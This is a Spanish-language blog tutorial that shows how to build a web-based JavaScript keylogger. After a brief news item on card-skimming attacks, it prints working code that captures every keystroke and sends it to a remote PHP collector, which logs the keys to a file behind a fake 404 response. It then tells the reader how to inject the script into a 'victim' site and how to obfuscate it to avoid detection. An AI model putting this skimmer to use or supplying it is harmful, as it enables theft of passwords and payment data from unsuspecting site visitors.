NeosLab.com
Recopilación

Crear un Keylogger Javascript basado en la Web

Los investigadores estiman que miles de sitios de comercio electrónico están siendo atacados por un solo actor de amenazas que ha infectado a los servidores con un keylogger basado en la web.

Los sitios populares de comercio electrónico se han infectado con registradores de pulsaciones basados en web que se utilizan para robar datos de tarjetas de crédito cuando se ingresan en formularios de pago en línea. Se han identificado más de 100 sitios comprometidos, pero el número podría ser de miles.

Fuente: threatpost.com

¿QUÉ PODEMOS HACER CON UN KEYLOGER?

Keylogger es un tipo de software que una vez activo en un sistema, tiene la capacidad de grabar cada pulsación de teclado realizada por el sistema. Todas las pulsaciones grabadas se guardan en un archivo de registro. Un keylogger puede grabar un mensaje, correo electrónico y capturar cualquier tipo de información que escriba en cualquier momento utilizando el teclado.


¿QUIÉNES USAN UN KEYLOGGER?

Un keylogger es una herramienta de vigilancia, usada por los empleadores para asegurar que los empleados usen computadoras de trabajo para propósitos de negocios solamente. También hay un mercado creciente de padres que quieren utilizar estas herramientas para mantenerse informados sobre las actividades en línea de sus hijos. Pero hoy en día estas herramientas son utilizadas por un hacker para hackear la identificación de correo electrónico y la información confidencial del usuario como contraseña número de seguro social, tarjeta de crédito, etc… Esta es una de las maneras más fáciles de extraer información crítica engañando a la gente.

¿CÓMO FUNCIONA?

A continuación se muestra un ejemplo para un keylogger simple basado en la web, en esta documentación, sabrás como funciona un keylogger, tipo de programación por la cual grabamos y monitorizamos todas y cada una de las pulsaciones tecleadas por el usuario en un sitio Web.

CREAR EL KEYLOGGER

En primer lugar tenemos que crear un entorno de práctica y seguir los pasos que mencionamos en los detalles a continuación.

Crear formulario HTML

<form action="#">
	<label>Firstname:</label>
	<input type="text" name="firstname" placeholder="Mickey" style="width:250px">
	<label>Lastname:</label>
	<input type="text" name="lastname" placeholder="Mouse" style="width:250px">
	<label>Message:</label>
	<textarea name="message" style="width:500px;height:100px;"></textarea>
	<input type="submit" value="Submit">
</form>

Este formulario HTML tiene el único propósito de demostrar cómo funciona un keylogger basado en la web.

Crear archivo JS Keylogger – keylogger.js

if((window.jQuery))
{
	console.log("jQuery Found");
}
else
{
	console.log("jQuery Not Found");
	var script = document.createElement('script');
	script.src = 'https://code.jquery.com/jquery-3.3.1.min.js';
	document.body.appendChild(script);
}

function c(d)
{
	jQuery.ajax(
	{
		dataType: "jsonp",
		type:"GET",
		url: "https://example.com/keylogger.php", // Your Keylogger URL
		jsonp:"keypressed",
		data:
		{
			altnKey:d.altKey?1:0,
			ctrlKey:d.ctrlKey?1:0,
			userKey:d.key,
			targKey:d.target.id,
			userURI:d.target.baseURI
		},
		async:false,
		success: function(data)
		{
			console.log(data);
		},
		error:function(xhr, ajaxOptions, thrownError)
		{
			console.log("Error");
		}
	});	
}

window.onload = function()
{
	window.addEventListener("keydown", function(e) 
	{
		c(e);
	});
}

El código anterior en JavaScript puede ser inyectado directamente en el sitio web de la víctima o puede ser alojado remotamente. El propósito de este código es agarrar la pulsación de teclado del usuario y enviarla a un servidor remoto. Por favor, asegúrese de reemplazar “https://example.com/Keylogger.php” con la URL real de su archivo php.

Para ahorrar tiempo lo vamos a hacer con jQuery. Para evitar cualquier error, lo primero que debemos hacer es asegurarnos de que jQuery esté presente en la página de la víctima y cargarlo en caso de que no lo hayamos encontrado.

Declaramos una función “c“, donde el parámetro “d” que será la pulsación de tecla. Esta función tendrá una llamada Ajax al archivo PHP que recibe las pulsaciones de teclas.

Crear archivo PHP Keylogger – keylogger.php

header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
header('Access-Control-Allow-Methods: GET, REQUEST, OPTIONS');
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Content-Type, *');

$file = 'data.txt';
if(!file_exists($file)) 
{
	$fh = fopen($file, 'w');
}

function f($str)
{
	return trim(preg_replace("(\\\)","",htmlentities(strip_tags($str),ENT_QUOTES,'UTF-8')));
}

$altnKey=(int)$_GET['altnKey'];
$ctrlKey=(int)$_GET['ctrlKey'];
$userKey=f($_GET['userKey']);
$targKey=f($_GET['targKey']);
$userURI=f($_GET['URI']);

$string = $altnKey."|".$ctrlKey."|".$userKey."|".$targKey."|".$userURI."\n";

file_put_contents($file, $string, FILE_APPEND);

La parte del servidor está en PHP. No hay nada que explicar sobre el código anterior, el propósito del archivo PHP es recibir el valor de pulsación de tecla transferido en Ajax por el JavaScript y almacenarlo en un archivo de texto simple.

Usted puede adaptar el código antedicho para emparejar con su necesidad exacta. Por ejemplo, quizás desee guardar los resultados directamente en una base de datos o bien enviarlos a una dirección de correo electrónico.Usted puede adaptar el código antedicho para emparejar con su necesidad exacta. Por ejemplo, quizás desee guardar los resultados directamente en una base de datos o bien enviarlos a una dirección de correo electrónico.

Inyecte el archivo JS

Ahora que estamos listos con nuestro archivo, debemos inyectar el JavaScript en nuestro sitio web de víctimas. Para ello, añadiremos la siguiente línea de código al final de nuestro archivo HTML. En la situación real, debe agregar esta línea entre las etiquetas < body > </body > . Por favor, asegúrese de reemplazar “https://example.com/Keylogger.js” con la URL real de su archivo JS.

<script type="text/javascript" src="https://example.com/keylogger.js"></script>
DEMO

Ahora, como una demostración rápida, pongamos todo junto y hagamos una prueba para ver si funciona como se esperaba. A los efectos de nuestra prueba, utilizaremos un servidor “Lamp” común para alojar nuestro archivo HTML y el sitio web “ neoslab.com ” para alojar nuestro keylogger. Para obtener más información, siéntase libre de mirar el video a continuación.

OBFUSCACIÓN JAVASCRIPT

Podemos avanzar aún más, utilizando una herramienta en línea ofuscación para ocultar nuestro código JavaScript y evitar el sitio web propietario para detectar el keylogger a primera vista.

Artículos Relacionados

Escaneo de Puertos y Huellas Digitales del Sistema Operativo

neoslab

Qué es la Footprinting y el Reconocimiento ?

neoslab

Los Más Útiles Comandos Nmap

neoslab

Deja un comentario

* By using this form you agree with the storage and handling of your data by this website.

Hey Wait!
Did you know ? You can build your Cyber security or IT career for FREE !
Make yourself happy, join our 8,000 members and receive FREE every day our latest tutorials and webinars to your mailbox!
Yes, Send it Over!
No Thanks!
close-link